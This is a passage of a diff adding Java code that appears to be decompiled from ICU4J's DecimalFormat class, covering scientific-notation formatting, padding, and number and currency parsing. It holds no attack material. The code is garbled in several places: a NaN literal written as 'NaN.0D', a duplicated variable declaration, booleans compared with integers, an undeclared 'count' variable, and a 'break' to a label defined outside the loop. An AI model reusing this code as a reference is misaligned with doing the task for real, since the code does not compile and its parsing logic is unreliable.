+      fieldPosition.setEndIndex(-1);
+    } else if (fieldPosition.getField() == 1) {
+      fieldPosition.setBeginIndex(-1);
+    } else if (fieldPosition.getFieldAttribute() == NumberFormat.Field.INTEGER) {
+      fieldPosition.setBeginIndex(result.length());
+      fieldPosition.setEndIndex(-1);
+    } else if (fieldPosition.getFieldAttribute() == NumberFormat.Field.FRACTION) {
+      fieldPosition.setBeginIndex(-1);
+    }
+    
+
+
+
+
+    int intBegin = result.length();
+    int intEnd = -1;
+    int fracBegin = -1;
+    int minFracDig = 0;
+    if (useSigDig) {
+      maxIntDig = minIntDig = 1;
+      minFracDig = getMinimumSignificantDigits() - 1;
+    } else {
+      minFracDig = getMinimumFractionDigits();
+      if (maxIntDig > 8) {
+        maxIntDig = 1;
+        if (maxIntDig < minIntDig) {
+          maxIntDig = minIntDig;
+        }
+      }
+      if (maxIntDig > minIntDig) {
+        minIntDig = 1;
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+    int exponent = digitList.decimalAt;
+    if ((maxIntDig > 1) && (maxIntDig != minIntDig))
+    {
+      exponent = exponent > 0 ? (exponent - 1) / maxIntDig : exponent / maxIntDig - 1;
+      exponent *= maxIntDig;
+    }
+    else
+    {
+      exponent -= ((minIntDig > 0) || (minFracDig > 0) ? minIntDig : 1);
+    }
+    
+
+
+
+
+    int minimumDigits = minIntDig + minFracDig;
+    
+
+    int integerDigits = digitList.isZero() ? minIntDig : digitList.decimalAt - exponent;
+    int totalDigits = digitList.count;
+    if (minimumDigits > totalDigits)
+      totalDigits = minimumDigits;
+    if (integerDigits > totalDigits) {
+      totalDigits = integerDigits;
+    }
+    for (int i = 0; i < totalDigits; i++) {
+      if (i == integerDigits)
+      {
+        if (fieldPosition.getField() == 0) {
+          fieldPosition.setEndIndex(result.length());
+        } else if (fieldPosition.getFieldAttribute() == NumberFormat.Field.INTEGER) {
+          fieldPosition.setEndIndex(result.length());
+        }
+        
+
+        if (parseAttr) {
+          intEnd = result.length();
+          addAttribute(NumberFormat.Field.INTEGER, intBegin, result.length());
+        }
+        result.append(decimal);
+        
+        if (parseAttr)
+        {
+          int decimalSeparatorBegin = result.length() - 1;
+          addAttribute(NumberFormat.Field.DECIMAL_SEPARATOR, decimalSeparatorBegin, result.length());
+          
+          fracBegin = result.length();
+        }
+        
+        if (fieldPosition.getField() == 1) {
+          fieldPosition.setBeginIndex(result.length());
+        } else if (fieldPosition.getFieldAttribute() == NumberFormat.Field.FRACTION) {
+          fieldPosition.setBeginIndex(result.length());
+        }
+      }
+      result.append(i < digitList.count ? digits[digitList.getDigitValue(i)] : digits[0]);
+    }
+    
+
+
+
+    if ((digitList.isZero()) && (totalDigits == 0)) {
+      result.append(digits[0]);
+    }
+    
+
+    if (fieldPosition.getField() == 0) {
+      if (fieldPosition.getEndIndex() < 0) {
+        fieldPosition.setEndIndex(result.length());
+      }
+    } else if (fieldPosition.getField() == 1) {
+      if (fieldPosition.getBeginIndex() < 0) {
+        fieldPosition.setBeginIndex(result.length());
+      }
+      fieldPosition.setEndIndex(result.length());
+    } else if (fieldPosition.getFieldAttribute() == NumberFormat.Field.INTEGER) {
+      if (fieldPosition.getEndIndex() < 0) {
+        fieldPosition.setEndIndex(result.length());
+      }
+    } else if (fieldPosition.getFieldAttribute() == NumberFormat.Field.FRACTION) {
+      if (fieldPosition.getBeginIndex() < 0) {
+        fieldPosition.setBeginIndex(result.length());
+      }
+      fieldPosition.setEndIndex(result.length());
+    }
+    
+
+
+    if (parseAttr) {
+      if (intEnd < 0) {
+        addAttribute(NumberFormat.Field.INTEGER, intBegin, result.length());
+      }
+      if (fracBegin > 0) {
+        addAttribute(NumberFormat.Field.FRACTION, fracBegin, result.length());
+      }
+    }
+    
+
+
+
+    result.append(symbols.getExponentSeparator());
+    
+    if (parseAttr) {
+      addAttribute(NumberFormat.Field.EXPONENT_SYMBOL, result.length() - symbols.getExponentSeparator().length(), result.length());
+    }
+    
+
+
+
+    if (digitList.isZero()) {
+      exponent = 0;
+    }
+    boolean negativeExponent = exponent < 0;
+    if (negativeExponent) {
+      exponent = -exponent;
+      result.append(symbols.getMinusSign());
+      
+
+      if (parseAttr)
+      {
+        addAttribute(NumberFormat.Field.EXPONENT_SIGN, result.length() - 1, result.length());
+      }
+    } else if (exponentSignAlwaysShown) {
+      result.append(symbols.getPlusSign());
+      
+      if (parseAttr)
+      {
+        int expSignBegin = result.length() - 1;
+        addAttribute(NumberFormat.Field.EXPONENT_SIGN, expSignBegin, result.length());
+      }
+    }
+    int expBegin = result.length();
+    digitList.set(exponent);
+    
+    int expDig = minExponentDigits;
+    if ((useExponentialNotation) && (expDig < 1)) {
+      expDig = 1;
+    }
+    for (i = digitList.decimalAt; i < expDig; i++) {
+      result.append(digits[0]);
+    }
+    for (i = 0; i < digitList.decimalAt; i++) {
+      result.append(i < digitList.count ? digits[digitList.getDigitValue(i)] : digits[0]);
+    }
+    
+
+    if (parseAttr) {
+      addAttribute(NumberFormat.Field.EXPONENT, expBegin, result.length());
+    }
+  }
+  
+  private final void addPadding(StringBuffer result, FieldPosition fieldPosition, int prefixLen, int suffixLen)
+  {
+    if (formatWidth > 0) {
+      int len = formatWidth - result.length();
+      if (len > 0) {
+        char[] padding = new char[len];
+        for (int i = 0; i < len; i++) {
+          padding[i] = pad;
+        }
+        switch (padPosition) {
+        case 1: 
+          result.insert(prefixLen, padding);
+          break;
+        case 0: 
+          result.insert(0, padding);
+          break;
+        case 2: 
+          result.insert(result.length() - suffixLen, padding);
+          break;
+        case 3: 
+          result.append(padding);
+        }
+        
+        if ((padPosition == 0) || (padPosition == 1)) {
+          fieldPosition.setBeginIndex(fieldPosition.getBeginIndex() + len);
+          fieldPosition.setEndIndex(fieldPosition.getEndIndex() + len);
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Number parse(String text, ParsePosition parsePosition)
+  {
+    return (Number)parse(text, parsePosition, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public CurrencyAmount parseCurrency(CharSequence text, ParsePosition pos)
+  {
+    Currency[] currency = new Currency[1];
+    return (CurrencyAmount)parse(text.toString(), pos, currency);
+  }
+  
+
+
+
+
+
+
+  private Object parse(String text, ParsePosition parsePosition, Currency[] currency)
+  {
+    int backup;
+    
+
+
+
+
+    int i = backup = parsePosition.getIndex();
+    
+
+
+
+    if ((formatWidth > 0) && ((padPosition == 0) || (padPosition == 1)))
+    {
+      i = skipPadding(text, i);
+    }
+    if (text.regionMatches(i, symbols.getNaN(), 0, symbols.getNaN().length())) {
+      i += symbols.getNaN().length();
+      
+      if ((formatWidth > 0) && ((padPosition == 2) || (padPosition == 3)))
+      {
+        i = skipPadding(text, i);
+      }
+      parsePosition.setIndex(i);
+      return new Double(NaN.0D);
+    }
+    
+
+    i = backup;
+    
+    boolean[] status = new boolean[3];
+    if (currencySignCount > 0) {
+      if (!parseForCurrency(text, parsePosition, currency, status)) {
+        return null;
+      }
+    }
+    else if (!subparse(text, parsePosition, digitList, status, currency, negPrefixPattern, negSuffixPattern, posPrefixPattern, posSuffixPattern, 0))
+    {
+
+      parsePosition.setIndex(backup);
+      return null;
+    }
+    
+
+    Number n = null;
+    
+
+    if (status[0] != 0) {
+      n = new Double(status[1] != 0 ? Double.POSITIVE_INFINITY : Double.NEGATIVE_INFINITY);
+
+
+
+    }
+    else if (status[2] != 0) {
+      n = status[1] != 0 ? new Double("0.0") : new Double("-0.0");
+
+
+    }
+    else if ((status[1] == 0) && (digitList.isZero())) {
+      n = new Double("-0.0");
+
+    }
+    else
+    {
+
+      int mult = multiplier;
+      while (mult % 10 == 0) {
+        digitList.decimalAt -= 1;
+        mult /= 10;
+      }
+      
+
+      if ((!parseBigDecimal) && (mult == 1) && (digitList.isIntegral()))
+      {
+        if (digitList.decimalAt < 12) {
+          long l = 0L;
+          if (digitList.count > 0) {
+            int nx = 0;
+            while (nx < digitList.count) {
+              l = l * 10L + (char)digitList.digits[(nx++)] - 48L;
+            }
+            while (nx++ < digitList.decimalAt) {
+              l *= 10L;
+            }
+            if (status[1] == 0) {
+              l = -l;
+            }
+          }
+          n = Long.valueOf(l);
+        } else {
+          BigInteger big = digitList.getBigInteger(status[1]);
+          n = big.bitLength() < 64 ? Long.valueOf(big.longValue()) : big;
+        }
+      }
+      else
+      {
+        com.ibm.icu.math.BigDecimal big = digitList.getBigDecimalICU(status[1]);
+        n = big;
+        if (mult != 1) {
+          n = big.divide(com.ibm.icu.math.BigDecimal.valueOf(mult), mathContext);
+        }
+      }
+    }
+    
+
+    return currency != null ? new CurrencyAmount(n, currency[0]) : n;
+  }
+  
+  private boolean parseForCurrency(String text, ParsePosition parsePosition, Currency[] currency, boolean[] status)
+  {
+    int origPos = parsePosition.getIndex();
+    if (!isReadyForParsing) {
+      int savedCurrencySignCount = currencySignCount;
+      setupCurrencyAffixForAllPatterns();
+      
+      if (savedCurrencySignCount == 3) {
+        applyPatternWithoutExpandAffix(formatPattern, false);
+      } else {
+        applyPattern(formatPattern, false);
+      }
+      isReadyForParsing = true;
+    }
+    int maxPosIndex = origPos;
+    int maxErrorPos = -1;
+    boolean[] savedStatus = null;
+    
+
+
+
+    boolean[] tmpStatus = new boolean[3];
+    ParsePosition tmpPos = new ParsePosition(origPos);
+    DigitList tmpDigitList = new DigitList();
+    boolean found;
+    boolean found; if (style == 6) {
+      found = subparse(text, tmpPos, tmpDigitList, tmpStatus, currency, negPrefixPattern, negSuffixPattern, posPrefixPattern, posSuffixPattern, 1);
+    }
+    else
+    {
+      found = subparse(text, tmpPos, tmpDigitList, tmpStatus, currency, negPrefixPattern, negSuffixPattern, posPrefixPattern, posSuffixPattern, 0);
+    }
+    
+
+    if (found) {
+      if (tmpPos.getIndex() > maxPosIndex) {
+        maxPosIndex = tmpPos.getIndex();
+        savedStatus = tmpStatus;
+        digitList = tmpDigitList;
+      }
+    } else {
+      maxErrorPos = tmpPos.getErrorIndex();
+    }
+    
+
+    for (AffixForCurrency affix : affixPatternsForCurrency) {
+      tmpStatus = new boolean[3];
+      tmpPos = new ParsePosition(origPos);
+      tmpDigitList = new DigitList();
+      boolean result = subparse(text, tmpPos, tmpDigitList, tmpStatus, currency, affix.getNegPrefix(), affix.getNegSuffix(), affix.getPosPrefix(), affix.getPosSuffix(), affix.getPatternType());
+      
+
+
+      if (result) {
+        found = true;
+        if (tmpPos.getIndex() > maxPosIndex) {
+          maxPosIndex = tmpPos.getIndex();
+          savedStatus = tmpStatus;
+          digitList = tmpDigitList;
+        }
+      } else {
+        maxErrorPos = tmpPos.getErrorIndex() > maxErrorPos ? tmpPos.getErrorIndex() : maxErrorPos;
+      }
+    }
+    
+
+
+
+
+
+    tmpStatus = new boolean[3];
+    tmpPos = new ParsePosition(origPos);
+    tmpDigitList = new DigitList();
+    int savedCurrencySignCount = currencySignCount;
+    
+
+    currencySignCount = -1;
+    boolean result = subparse(text, tmpPos, tmpDigitList, tmpStatus, currency, negativePrefix, negativeSuffix, positivePrefix, positiveSuffix, 0);
+    
+
+    currencySignCount = savedCurrencySignCount;
+    if (result) {
+      if (tmpPos.getIndex() > maxPosIndex) {
+        maxPosIndex = tmpPos.getIndex();
+        savedStatus = tmpStatus;
+        digitList = tmpDigitList;
+      }
+      found = true;
+    } else {
+      maxErrorPos = tmpPos.getErrorIndex() > maxErrorPos ? tmpPos.getErrorIndex() : maxErrorPos;
+    }
+    
+
+    if (!found)
+    {
+      parsePosition.setErrorIndex(maxErrorPos);
+    } else {
+      parsePosition.setIndex(maxPosIndex);
+      parsePosition.setErrorIndex(-1);
+      for (int index = 0; index < 3; index++) {
+        status[index] = savedStatus[index];
+      }
+    }
+    return found;
+  }
+  
+
+  private void setupCurrencyAffixForAllPatterns()
+  {
+    if (currencyPluralInfo == null) {
+      currencyPluralInfo = new CurrencyPluralInfo(symbols.getULocale());
+    }
+    affixPatternsForCurrency = new HashSet();
+    
+
+
+    String savedFormatPattern = formatPattern;
+    
+
+
+
+    applyPatternWithoutExpandAffix(getPattern(symbols.getULocale(), 1), false);
+    
+    AffixForCurrency affixes = new AffixForCurrency(negPrefixPattern, negSuffixPattern, posPrefixPattern, posSuffixPattern, 0);
+    
+
+    affixPatternsForCurrency.add(affixes);
+    
+
+    Iterator<String> iter = currencyPluralInfo.pluralPatternIterator();
+    Set<String> currencyUnitPatternSet = new HashSet();
+    while (iter.hasNext()) {
+      String pluralCount = (String)iter.next();
+      String currencyPattern = currencyPluralInfo.getCurrencyPluralPattern(pluralCount);
+      if ((currencyPattern != null) && (!currencyUnitPatternSet.contains(currencyPattern)))
+      {
+        currencyUnitPatternSet.add(currencyPattern);
+        applyPatternWithoutExpandAffix(currencyPattern, false);
+        affixes = new AffixForCurrency(negPrefixPattern, negSuffixPattern, posPrefixPattern, posSuffixPattern, 1);
+        
+        affixPatternsForCurrency.add(affixes);
+      }
+    }
+    
+    formatPattern = savedFormatPattern;
+  }
+  
+
+
+
+
+
+
+
+
+
+  private static final UnicodeSet dotEquivalents = new UnicodeSet(new int[] { 46, 46, 8228, 8228, 12290, 12290, 65042, 65042, 65106, 65106, 65294, 65294, 65377, 65377 }).freeze();
+  
+
+
+
+
+
+
+
+
+  private static final UnicodeSet commaEquivalents = new UnicodeSet(new int[] { 44, 44, 1548, 1548, 1643, 1643, 12289, 12289, 65040, 65041, 65104, 65105, 65292, 65292, 65380, 65380 }).freeze();
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final UnicodeSet strictDotEquivalents = new UnicodeSet(new int[] { 46, 46, 8228, 8228, 65106, 65106, 65294, 65294, 65377, 65377 }).freeze();
+  
+
+
+
+
+
+
+  private static final UnicodeSet strictCommaEquivalents = new UnicodeSet(new int[] { 44, 44, 1643, 1643, 65040, 65040, 65104, 65104, 65292, 65292 }).freeze();
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final UnicodeSet defaultGroupingSeparators = new UnicodeSet(new int[] { 32, 32, 39, 39, 44, 44, 46, 46, 160, 160, 1548, 1548, 1643, 1644, 8192, 8202, 8216, 8217, 8228, 8228, 8239, 8239, 8287, 8287, 12288, 12290, 65040, 65042, 65104, 65106, 65287, 65287, 65292, 65292, 65294, 65294, 65377, 65377, 65380, 65380 }).freeze();
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final UnicodeSet strictDefaultGroupingSeparators = new UnicodeSet(new int[] { 32, 32, 39, 39, 44, 44, 46, 46, 160, 160, 1643, 1644, 8192, 8202, 8216, 8217, 8228, 8228, 8239, 8239, 8287, 8287, 12288, 12288, 65040, 65040, 65104, 65104, 65106, 65106, 65287, 65287, 65292, 65292, 65294, 65294, 65377, 65377 }).freeze();
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private int PARSE_MAX_EXPONENT = 1000;
+  
+
+
+
+
+
+
+
+
+
+
+  static final double roundingIncrementEpsilon = 1.0E-9D;
+  
+
+
+
+
+
+
+
+
+
+
+  private final boolean subparse(String text, ParsePosition parsePosition, DigitList digits, boolean[] status, Currency[] currency, String negPrefix, String negSuffix, String posPrefix, String posSuffix, int type)
+  {
+    int position = parsePosition.getIndex();
+    int oldStart = parsePosition.getIndex();
+    
+
+    if ((formatWidth > 0) && (padPosition == 0)) {
+      position = skipPadding(text, position);
+    }
+    
+
+    int posMatch = compareAffix(text, position, false, true, posPrefix, type, currency);
+    int negMatch = compareAffix(text, position, true, true, negPrefix, type, currency);
+    if ((posMatch >= 0) && (negMatch >= 0)) {
+      if (posMatch > negMatch) {
+        negMatch = -1;
+      } else if (negMatch > posMatch) {
+        posMatch = -1;
+      }
+    }
+    if (posMatch >= 0) {
+      position += posMatch;
+    } else if (negMatch >= 0) {
+      position += negMatch;
+    } else {
+      parsePosition.setErrorIndex(position);
+      return false;
+    }
+    
+
+    if ((formatWidth > 0) && (padPosition == 1)) {
+      position = skipPadding(text, position);
+    }
+    
+
+    status[0] = false;
+    if (text.regionMatches(position, symbols.getInfinity(), 0, symbols.getInfinity().length()))
+    {
+      position += symbols.getInfinity().length();
+      status[0] = true;
+
+
+    }
+    else
+    {
+
+
+      decimalAt = (digits.count = 0);
+      char[] digitSymbols = symbols.getDigitsLocal();
+      char decimal = currencySignCount == 0 ? symbols.getDecimalSeparator() : symbols.getMonetaryDecimalSeparator();
+      
+      char grouping = symbols.getGroupingSeparator();
+      
+      String exponentSep = symbols.getExponentSeparator();
+      boolean sawDecimal = false;
+      boolean sawGrouping = false;
+      boolean sawExponent = false;
+      boolean sawDigit = false;
+      long exponent = 0L;
+      int digit = 0;
+      
+
+      boolean strictParse = isParseStrict();
+      boolean strictFail = false;
+      int lastGroup = -1;
+      int digitStart = position;
+      int gs2 = groupingSize2 == 0 ? groupingSize : groupingSize2;
+      
+
+      boolean skipExtendedSeparatorParsing = ICUConfig.get("com.ibm.icu.text.DecimalFormat.SkipExtendedSeparatorParsing", "false").equals("true");
+      
+
+
+      UnicodeSet decimalEquiv = skipExtendedSeparatorParsing ? UnicodeSet.EMPTY : getEquivalentDecimals(decimal, strictParse);
+      
+      UnicodeSet groupEquiv = strictParse ? strictDefaultGroupingSeparators : skipExtendedSeparatorParsing ? UnicodeSet.EMPTY : defaultGroupingSeparators;
+      
+
+
+
+      int digitCount = 0;
+      
+      int backup = -1;
+      int ch;
+      for (; position < text.length(); position += UTF16.getCharCount(ch)) {
+        ch = UTF16.charAt(text, position);
+        
+
+
+
+
+
+
+
+
+
+
+        digit = ch - digitSymbols[0];
+        if ((digit < 0) || (digit > 9))
+          digit = UCharacter.digit(ch, 10);
+        if ((digit < 0) || (digit > 9)) {
+          for (digit = 0; digit < 10; digit++) {
+            if (ch == digitSymbols[digit]) {
+              break;
+            }
+          }
+        }
+        
+
+        if (digit == 0)
+        {
+          if ((strictParse) && (backup != -1))
+          {
+
+
+
+            if (((lastGroup != -1) && (countCodePoints(text, lastGroup, backup) - 1 != gs2)) || ((lastGroup == -1) && (countCodePoints(text, digitStart, position) - 1 > gs2)))
+            {
+              strictFail = true;
+              break;
+            }
+            lastGroup = backup;
+          }
+          backup = -1;
+          sawDigit = true;
+          
+
+          if (count == 0) {
+            if (sawDecimal)
+            {
+
+
+
+
+
+
+              decimalAt -= 1; }
+          } else {
+            digitCount++;
+            digits.append((char)(digit + 48));
+          }
+        } else if ((digit > 0) && (digit <= 9))
+        {
+          if ((strictParse) && 
+            (backup != -1)) {
+            if (((lastGroup != -1) && (countCodePoints(text, lastGroup, backup) - 1 != gs2)) || ((lastGroup == -1) && (countCodePoints(text, digitStart, position) - 1 > gs2)))
+            {
+              strictFail = true;
+              break;
+            }
+            lastGroup = backup;
+          }
+          
+
+          sawDigit = true;
+          digitCount++;
+          digits.append((char)(digit + 48));
+          
+
+          backup = -1;
+        } else if (ch == decimal) {
+          if ((strictParse) && (
+            (backup != -1) || ((lastGroup != -1) && (countCodePoints(text, lastGroup, position) != groupingSize + 1))))
+          {
+            strictFail = true;
+            break;
+          }
+          
+
+
+          if ((isParseIntegerOnly()) || (sawDecimal)) {
+            break;
+          }
+          decimalAt = digitCount;
+          sawDecimal = true;
+        } else if ((isGroupingUsed()) && (ch == grouping)) {
+          if (sawDecimal) {
+            break;
+          }
+          if ((strictParse) && (
+            (!sawDigit) || (backup != -1)))
+          {
+            strictFail = true;
+            break;
+          }
+          
+
+
+
+          backup = position;
+          sawGrouping = true;
+        } else if ((!sawDecimal) && (decimalEquiv.contains(ch))) {
+          if ((strictParse) && (
+            (backup != -1) || ((lastGroup != -1) && (countCodePoints(text, lastGroup, position) != groupingSize + 1))))
+          {
+            strictFail = true;
+            break;
+          }
+          
+
+          if (isParseIntegerOnly())
+            break;
+          decimalAt = digitCount;
+          
+
+
+          decimal = (char)ch;
+          sawDecimal = true;
+        } else if ((isGroupingUsed()) && (!sawGrouping) && (groupEquiv.contains(ch))) {
+          if (sawDecimal) {
+            break;
+          }
+          if ((strictParse) && (
+            (!sawDigit) || (backup != -1)))
+          {
+            strictFail = true;
+            break;
+          }
+          
+
+
+          grouping = (char)ch;
+          
+
+
+
+          backup = position;
+          sawGrouping = true;
+        } else { if ((sawExponent) || (!text.regionMatches(true, position, exponentSep, 0, exponentSep.length())))
+            break;
+          boolean negExp = false;
+          int pos = position + exponentSep.length();
+          if (pos < text.length()) {
+            ch = UTF16.charAt(text, pos);
+            if (ch == symbols.getPlusSign()) {
+              pos++;
+            } else if (ch == symbols.getMinusSign()) {
+              pos++;
+              negExp = true;
+            }
+          }
+          
+          DigitList exponentDigits = new DigitList();
+          count = 0;
+          while (pos < text.length()) {
+            digit = UTF16.charAt(text, pos) - digitSymbols[0];
+            if ((digit < 0) || (digit > 9))
+            {
+
+
+              digit = UCharacter.digit(UTF16.charAt(text, pos), 10);
+            }
+            if ((digit < 0) || (digit > 9)) break;
+            exponentDigits.append((char)(digit + 48));
+            pos += UTF16.getCharCount(UTF16.charAt(text, pos));
+          }
+          
+
+
+
+          if (count <= 0)
+            break;
+          if ((strictParse) && (
+            (backup != -1) || (lastGroup != -1))) {
+            strictFail = true;
+            break;
+          }
+          
+
+
+
+          if (count > 10) {
+            if (negExp)
+            {
+              status[2] = true;
+            }
+            else {
+              status[0] = true;
+            }
+          } else {
+            decimalAt = count;
+            exponent = exponentDigits.getLong();
+            if (negExp) {
+              exponent = -exponent;
+            }
+          }
+          position = pos;
+          sawExponent = true; break;
+        }
+      }
+      
+
+
+
+
+
+      if (backup != -1) {
+        position = backup;
+      }
+      
+      if (!sawDecimal) {
+        decimalAt = digitCount;
+      }
+      
+      if ((strictParse) && (!sawDecimal) && 
+        (lastGroup != -1) && (countCodePoints(text, lastGroup, position) != groupingSize + 1)) {
+        strictFail = true;
+      }
+      
+      if (strictFail)
+      {
+
+
+
+        parsePosition.setIndex(oldStart);
+        parsePosition.setErrorIndex(position);
+        return false;
+      }
+      
+
+      exponent += decimalAt;
+      if (exponent < -getParseMaxDigits()) {
+        status[2] = true;
+      } else if (exponent > getParseMaxDigits()) {
+        status[0] = true;
+      } else {
+        decimalAt = ((int)exponent);
+      }
+      
+
+
+
+      if ((!sawDigit) && (digitCount == 0)) {
+        parsePosition.setIndex(oldStart);
+        parsePosition.setErrorIndex(oldStart);
+        return false;
+      }
+    }
+    
+
+    if ((formatWidth > 0) && (padPosition == 2)) {
+      position = skipPadding(text, position);
+    }
+    
+
+    if (posMatch >= 0) {
+      posMatch = compareAffix(text, position, false, false, posSuffix, type, currency);
+    }
+    if (negMatch >= 0) {
+      negMatch = compareAffix(text, position, true, false, negSuffix, type, currency);
+    }
+    if ((posMatch >= 0) && (negMatch >= 0)) {
+      if (posMatch > negMatch) {
+        negMatch = -1;
+      } else if (negMatch > posMatch) {
+        posMatch = -1;
+      }
+    }
+    
+
+    if ((posMatch >= 0 ? 1 : 0) == (negMatch >= 0 ? 1 : 0)) {
+      parsePosition.setErrorIndex(position);
+      return false;
+    }
+    
+    position += (posMatch >= 0 ? posMatch : negMatch);
+    
+
+    if ((formatWidth > 0) && (padPosition == 3)) {
+      position = skipPadding(text, position);
+    }
+    
+    parsePosition.setIndex(position);
+    
+    status[1] = (posMatch >= 0 ? 1 : false);
+    
+    if (parsePosition.getIndex() == oldStart) {
+      parsePosition.setErrorIndex(position);
+      return false;
+    }
+    return true;
+  }
+  
+  private int countCodePoints(String str, int start, int end)
+  {
+    int count = 0;
+    int index = start;
+    while (index < end) {
+      count++;
+      index += UTF16.getCharCount(UTF16.charAt(str, index));
+    }
+    return count;
+  }
+  
+
+
+  private UnicodeSet getEquivalentDecimals(char decimal, boolean strictParse)
+  {
+    UnicodeSet equivSet = UnicodeSet.EMPTY;
+    if (strictParse) {
+      if (strictDotEquivalents.contains(decimal)) {
+        equivSet = strictDotEquivalents;
+      } else if (strictCommaEquivalents.contains(decimal)) {
+        equivSet = strictCommaEquivalents;
+      }
+    }
+    else if (dotEquivalents.contains(decimal)) {
+      equivSet = dotEquivalents;
+    } else if (commaEquivalents.contains(decimal)) {
+      equivSet = commaEquivalents;
+    }
+    
+    return equivSet;
+  }
+  
+
+
+
+
+  private final int skipPadding(String text, int position)
+  {
+    while ((position < text.length()) && (text.charAt(position) == pad)) {
+      position++;
+    }
+    return position;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private int compareAffix(String text, int pos, boolean isNegative, boolean isPrefix, String affixPat, int type, Currency[] currency)
+  {
+    if ((currency != null) || (currencyChoice != null) || (currencySignCount > 0)) {
+      return compareComplexAffix(affixPat, text, pos, type, currency);
+    }
+    if (isPrefix) {
+      return compareSimpleAffix(isNegative ? negativePrefix : positivePrefix, text, pos);
+    }
+    return compareSimpleAffix(isNegative ? negativeSuffix : positiveSuffix, text, pos);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  private static int compareSimpleAffix(String affix, String input, int pos)
+  {
+    int start = pos;
+    for (int i = 0; i < affix.length();) {
+      int c = UTF16.charAt(affix, i);
+      int len = UTF16.getCharCount(c);
+      if (PatternProps.isWhiteSpace(c))
+      {
+
+
+
+        boolean literalMatch = false;
+        while ((pos < input.length()) && (UTF16.charAt(input, pos) == c)) {
+          literalMatch = true;
+          i += len;
+          pos += len;
+          if (i != affix.length())
+          {
+
+            c = UTF16.charAt(affix, i);
+            len = UTF16.getCharCount(c);
+            if (!PatternProps.isWhiteSpace(c)) {
+              break;
+            }
+          }
+        }
+        
+        i = skipPatternWhiteSpace(affix, i);
+        
+
+
+        int s = pos;
+        pos = skipUWhiteSpace(input, pos);
+        if ((pos == s) && (!literalMatch)) {
+          return -1;
+        }
+        
+
+
+        i = skipUWhiteSpace(affix, i);
+      }
+      else if ((pos < input.length()) && (UTF16.charAt(input, pos) == c)) {
+        i += len;
+        pos += len;
+      } else {
+        return -1;
+      }
+    }
+    
+    return pos - start;
+  }
+  
+
+
+  private static int skipPatternWhiteSpace(String text, int pos)
+  {
+    while (pos < text.length()) {
+      int c = UTF16.charAt(text, pos);
+      if (!PatternProps.isWhiteSpace(c)) {
+        break;
+      }
+      pos += UTF16.getCharCount(c);
+    }
+    return pos;
+  }
+  
+
+
+  private static int skipUWhiteSpace(String text, int pos)
+  {
+    while (pos < text.length()) {
+      int c = UTF16.charAt(text, pos);
+      if (!UCharacter.isUWhiteSpace(c)) {
+        break;
+      }
+      pos += UTF16.getCharCount(c);
+    }
+    return pos;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private int compareComplexAffix(String affixPat, String text, int pos, int type, Currency[] currency)
+  {
+    int start = pos;
+    for (int i = 0; (i < affixPat.length()) && (pos >= 0);) {
+      char c = affixPat.charAt(i++);
+      if (c == '\'') {
+        for (;;) {
+          int j = affixPat.indexOf('\'', i);
+          if (j == i) {
+            pos = match(text, pos, 39);
+            i = j + 1;
+            break; }
+          if (j > i) {
+            pos = match(text, pos, affixPat.substring(i, j));
+            i = j + 1;
+            if ((i >= affixPat.length()) || (affixPat.charAt(i) != '\'')) break;
+            pos = match(text, pos, 39);
+            i++;
+            
+
+
+            break label140;
+          }
+          
+
+          throw new RuntimeException();
+        }
+      }
+      
+
+
+      switch (c)
+      {
+
+
+
+
+      case '¤': 
+        boolean intl = (i < affixPat.length()) && (affixPat.charAt(i) == '¤');
+        if (intl) {
+          i++;
+        }
+        boolean plural = (i < affixPat.length()) && (affixPat.charAt(i) == '¤');
+        if (plural) {
+          i++;
+          intl = false;
+        }
+        
+
+
+        ULocale uloc = getLocale(ULocale.VALID_LOCALE);
+        if (uloc == null)
+        {
+          uloc = symbols.getLocale(ULocale.VALID_LOCALE);
+        }
+        
+        ParsePosition ppos = new ParsePosition(pos);
+        
+        String iso = Currency.parse(uloc, text, type, ppos);
+        
+
+        if (iso != null) {
+          if (currency != null) {
+            currency[0] = Currency.getInstance(iso);
+
+          }
+          else
+          {
+            Currency effectiveCurr = getEffectiveCurrency();
+            if (iso.compareTo(effectiveCurr.getCurrencyCode()) != 0) {
+              pos = -1;
+              continue;
+            }
+          }
+          pos = ppos.getIndex();
+        } else {
+          pos = -1;
+        }
+        break;
+      case '%': 
+        c = symbols.getPercent();
+        break;
+      case '‰': 
+        c = symbols.getPerMill();
+        break;
+      case '-': 
+        c = symbols.getMinusSign();
+      
+      default: 
+        pos = match(text, pos, c);
+        if (PatternProps.isWhiteSpace(c))
+          i = skipPatternWhiteSpace(affixPat, i);
+        break; }
+       }
+    label140:
+    return pos - start;
+  }
+  
+
+
+
+
+  static final int match(String text, int pos, int ch)
+  {
+    if (pos >= text.length()) {
+      return -1;
+    }
+    if (PatternProps.isWhiteSpace(ch))
+    {
+
+      int s = pos;
+      pos = skipPatternWhiteSpace(text, pos);
+      if (pos == s) {
+        return -1;
+      }
+      return pos;
+    }
+    return (pos >= 0) && (UTF16.charAt(text, pos) == ch) ? pos + UTF16.getCharCount(ch) : -1;
+  }
+  
+
+
+
+
+  static final int match(String text, int pos, String str)
+  {
+    for (int i = 0; (i < str.length()) && (pos >= 0);) {
+      int ch = UTF16.charAt(str, i);
+      i += UTF16.getCharCount(ch);
+      pos = match(text, pos, ch);
+      if (PatternProps.isWhiteSpace(ch)) {
+        i = skipPatternWhiteSpace(str, i);
+      }
+    }
+    return pos;
+  }
+  
+
+
+
+
+
+
+  public DecimalFormatSymbols getDecimalFormatSymbols()
+  {
+    try
+    {
+      return (DecimalFormatSymbols)symbols.clone();
+    } catch (Exception foo) {}
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+  public void setDecimalFormatSymbols(DecimalFormatSymbols newSymbols)
+  {
